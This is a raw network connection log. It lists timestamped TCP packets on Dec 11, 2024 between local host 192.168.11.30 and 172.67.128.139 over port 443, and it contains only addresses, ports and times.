Dec 11, 2024 12:29:48.873605967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.873707056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.873816013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.875586987 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.875593901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.875755072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.875755072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.875761032 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.875924110 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.877526999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.877535105 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.877712011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.877758980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.877758980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.877762079 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.877808094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.877909899 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.879667997 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.879674911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.879910946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.879910946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.879915953 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.880171061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.881768942 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.881777048 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.881930113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.881994963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.881994963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.881999016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.882040977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.882153034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.884242058 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.884268999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.884428978 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.884468079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.884470940 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.884516954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.884516954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.884673119 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.885150909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.885730982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.885739088 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.885917902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.885970116 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.885970116 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.885973930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.886302948 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.887933016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.887940884 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.888113976 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.888245106 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.888248920 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.888408899 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.889954090 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.889964104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.890163898 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.890170097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.890213013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.890379906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.892450094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.892457962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.892605066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.892605066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.892653942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.892653942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.892657995 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.892771959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.892805099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.894355059 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.894361973 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.894501925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.894501925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.894571066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.894571066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.894575119 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.894635916 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.894798040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.895982981 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.895991087 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.896140099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.896140099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.896192074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.896192074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.896197081 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.896234035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.896333933 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.898535013 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.898556948 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.898847103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.898847103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.898853064 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.898904085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.899089098 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.899156094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.900541067 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.900548935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.900686979 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.900774956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.900774956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.900779009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.900923014 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.902452946 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.902461052 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.902686119 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.902690887 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.902766943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.902766943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.904522896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.904547930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.904669046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.904767990 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.904772043 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.904849052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.904943943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.906738043 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.906761885 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.906912088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.906912088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.906963110 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.906963110 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.906965971 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.907058954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.907147884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.908679962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.908688068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.908917904 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.908917904 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.908921957 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.909137011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.910696030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.910702944 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.910881996 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.910887957 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.911010981 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.912640095 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.912647009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.912894964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.912985086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.912988901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.913063049 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.913115025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.913408041 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.914978027 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.914984941 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.915132999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.915184975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.915184975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.915189028 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.915304899 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.915791035 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.915977955 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.923433065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.106086016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.106097937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.106328964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.106338024 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.106451988 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.108017921 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.108045101 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.108170033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.108239889 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.108242989 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.108320951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.108419895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.109944105 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.109952927 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.110116959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.110199928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.110204935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.110321045 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.111947060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.111954927 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.112226963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.112231016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.112324953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.112385988 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.114048958 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.114057064 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.114232063 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.114322901 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.114327908 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.114492893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.116276979 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.116285086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.116535902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.116542101 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.116676092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.116738081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.118083954 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.118092060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.118274927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.118274927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.118282080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.118320942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.118418932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.120058060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.120066881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.120337963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.120342970 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.120599031 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.122189045 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.122196913 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.122406006 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.122406006 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.122411013 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.122457981 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.122553110 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.123933077 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.123955011 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.124063969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.124161005 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.124164104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.124209881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.124332905 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.126283884 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.126311064 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.126513958 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.126513958 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.126521111 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.126579046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.126774073 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.128258944 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.128267050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.128444910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.128451109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.128609896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.130122900 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.130131006 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.130299091 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.130299091 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.130335093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.130338907 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.130383015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.130430937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.130547047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.132271051 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.132278919 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.132483959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.132483959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.132492065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.132533073 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.132639885 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.133656025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.134870052 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.134902000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.135024071 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.135109901 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.135113955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.135253906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.136363983 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.136372089 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.136514902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.136514902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.136559963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.136559963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.136564016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.136609077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.136708975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.138539076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.138546944 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.138807058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.138813019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.138906956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.139050007 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.139852047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.141021013 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.141028881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.141164064 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.141217947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.141252995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.141252995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.141258001 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.141350031 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.141593933 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.143089056 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.143096924 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.143306971 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.143306971 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.143315077 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.143356085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.143402100 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.143454075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.144927979 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.144936085 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.145096064 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.145096064 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.145144939 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.145148039 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.145242929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.145288944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.152667046 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.152677059 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.152857065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.152879000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.153050900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.153058052 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.153191090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.153203011 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.153315067 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.153460026 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.153476954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.153482914 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.153606892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.153831005 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.155103922 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.155111074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.155247927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.155292988 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.155292988 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.155297041 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.155394077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.155440092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.157494068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.157501936 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.157659054 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.157659054 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.157756090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.157759905 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.158008099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.159323931 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.159331083 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.159470081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.159570932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.159574986 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.159665108 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.159745932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.161281109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.161288023 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.161631107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.161638021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.161890984 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.163223982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.163369894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.163369894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.163377047 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.163419008 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.163420916 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.163712025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.237322092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.262187958 CET	49756	443	192.168.11.30	172.67.128.139
